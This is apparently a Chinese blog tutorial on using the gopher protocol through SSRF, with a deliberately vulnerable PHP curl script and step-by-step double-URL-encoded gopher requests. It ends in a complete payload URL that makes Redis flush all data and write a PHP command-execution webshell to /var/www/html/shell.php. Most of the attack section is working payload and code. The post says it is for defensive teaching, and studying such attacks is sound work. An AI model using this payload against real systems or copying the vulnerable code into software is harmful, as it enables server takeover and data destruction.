作者:小刚
一位苦于信息安全的萌新小白帽,记得关注给个赞,谢谢
本实验仅用于信息防御教学,切勿用于其它用途
Gopher协议扩展利用
- Gopher协议
-
- 利用要点
- 利用方式
- 小案例
- ssrf利用redis写入webshell
Gopher协议
Gopher在HTTP协议前是非常有名的信息查找系统,但是很老了,很少服务会用到它
但是!在SSRF漏洞中,它大方光彩,让SSRF漏洞利用更加广泛
利用此协议可以对ftp,memchahe,mysql,telnet,redis,等服务进行攻击,
并可以构造发送GET,POST请求包
说白了就是:通过SSRF漏洞,让服务器发送自己精心构造的GET或者POST请求包
格式
gopher://<host>:<post>/<gopher-path>_后面接TCP数据流
利用要点
PHP版本大于等于5.3
PHP.ini开启了php_curl
gopher没有默认端口,需要指定:gopher://127.0.0.1:80
在传送GET或POST数据时需要经过二次URl编码
url编码时回车换行需要使用%0d%0a替换%0a
POST中的&也需要url编码。
利用方式
1.利用SSRF进行内网渗透
2.gopher协议反弹shell
3.超级经典的redis写入webshell
小案例
构造GET数据请求127.0.0.1页面
1.一个存在ssrf漏洞的代码
<?PHP
$URL = $_GET['URL'];
$CH = CURL_INIT();
CURL_SETOPT($CH,CURLOPT_URL, $URL);
CURL_SETOPT($CH,CURLOPT_HEADER,FALSE);
CURL_SETOPT($CH,CURLOPT_RETURNTRANSFER,TRUE);
CURL_SETOPT($CH,CURLOPT_SSL_VERIFYPEER,FALSE);
CURL_SETOPT($CH,CURLOPT_FOLLOWLOCATION,TRUE);
$RES = CURL_EXEC($CH);
CURL_CLOSE($CH);
ECHO $RES;
?>
2.构造一个get请求包
我这里用postman获取访问127.0.0.1:80的请求包
![](https://img.laitimes.com/img/_0nNw4CM6IyYiwiM6ICdiwiIyVGduV2YfNWawNCM38FdsYkRGZkRG9lcvx2bjxiNx8VZ6l2cs0TPB1kMVRVT5lkeNBDOsJGcohVYsR2MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnLxIjMxIjMxkTM5EDOwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
复制出来进行第一次URL编码http://ctf.ssleye.com/url.html
GET%20/%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80
进行第二次编码前,将%0a替换成%0d%0a,在代码最后也添加个%0d%0a以防万一
(因为换行在http请求中是%0d%0a,但是URL编码器只会编码出%0a)
GET%20/%20HTTP/1.1%0d%0AHost%3A%20127.0.0.1%3A80%0d%0a
进行第二次URL编码
GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a
3.将构造好的代码与gopher协议连用
gopher://127.0.0.1:80/GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a
4.利用ssrf漏洞发送gopher请求
127.0.0.1/h/SSRF/?URL=gopher://127.0.0.1:80/GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a
发现请求成功,但返回消息不对
调试发现需要在GET请求数据前,随便添加一个字符(我添加下划线_)
127.0.0.1/h/SSRF/?URL=gopher://127.0.0.1:80/_GET%2520/%2520HTTP/1.1%250d%250AHost%253A%2520127.0.0.1%253A80%250d%250a
现在请求成功,ssrf漏洞成功发出来我构造的GET请求。
ssrf利用redis写入webshell
小小的复现一下,我用的kali
先安装redis
wget http://download.redis.io/releases/redis-6.0.6.tar.gz //下载redis
tar xzf redis-6.0.6.tar.gz //解压
cd redis-6.0.6
make //编译,会产生src文件夹,存放着redis-server和redis-cli
cd src
./redis-server ../redis.config //以默认配置启动redis服务
重新开启一个终端
cd redis-6.0.6/src
./redis-cli //进入操作终端
ping一下返回pong说明成功
1.手动构造代码过于繁琐,这里利用大佬写的工具来生成payload
https://github.com/tarunkant/Gopherus
代码意思是使用redis在指定目录生成shell.php文件,并写入一句话木马。
具体用法有说明。
2.将代码与SSRF漏洞组合
http://192.168.1.131/test/index.php?URL=gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
3.最后,在kali的目录中发现成功写入webshell